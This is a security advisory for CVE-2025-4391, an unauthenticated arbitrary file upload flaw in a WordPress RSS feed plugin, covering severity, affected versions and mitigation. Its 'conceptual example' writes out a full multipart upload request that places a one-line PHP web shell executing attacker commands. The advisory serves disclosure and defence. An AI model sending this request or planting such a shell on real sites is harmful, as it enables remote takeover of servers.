Overview
The CVE-2025-4391 vulnerability is a critical software flaw found in the Echo RSS Feed Post Generator plugin for WordPress. This flaw allows unauthenticated attackers to upload arbitrary files to the server hosting the website, due to lack of file type validation in a specific function. As the plugin is widely used across a large number of WordPress websites, this vulnerability poses a significant risk to website owners and their users’ sensitive data.
This vulnerability is of particular concern due to its potential to enable remote code execution by an attacker. The successful exploitation of this vulnerability could result in a full system compromise or data leakage, underscoring the need for immediate attention and remediation.
Vulnerability Summary
CVE ID: CVE-2025-4391
Severity: Critical – 9.8 (CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and/or data leakage
Affected Products
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Product | Affected Versions
Echo RSS Feed Post Generator | Up to and including 5.4.8.1
How the Exploit Works
The vulnerability lies in the echo_generate_featured_image() function of the Echo RSS Feed Post Generator plugin. This function lacks proper file type validation, allowing unauthenticated users to upload arbitrary files to the server where the site is hosted. This implies that an attacker could potentially upload a malicious file, such as a webshell, and achieve remote code execution on the server, thereby compromising the entire system.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability:
POST /wp-content/plugins/echo-rss-feed-post-generator/echo_generate_featured_image.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In the above example, the attacker is uploading a malicious PHP shell that allows them to execute arbitrary commands on the server.
Mitigation
To mitigate this vulnerability, users are strongly advised to apply the vendor patch as soon as possible. If a patch cannot be applied immediately, users may consider implementing a web application firewall (WAF) or intrusion detection system (IDS) as a temporary measure.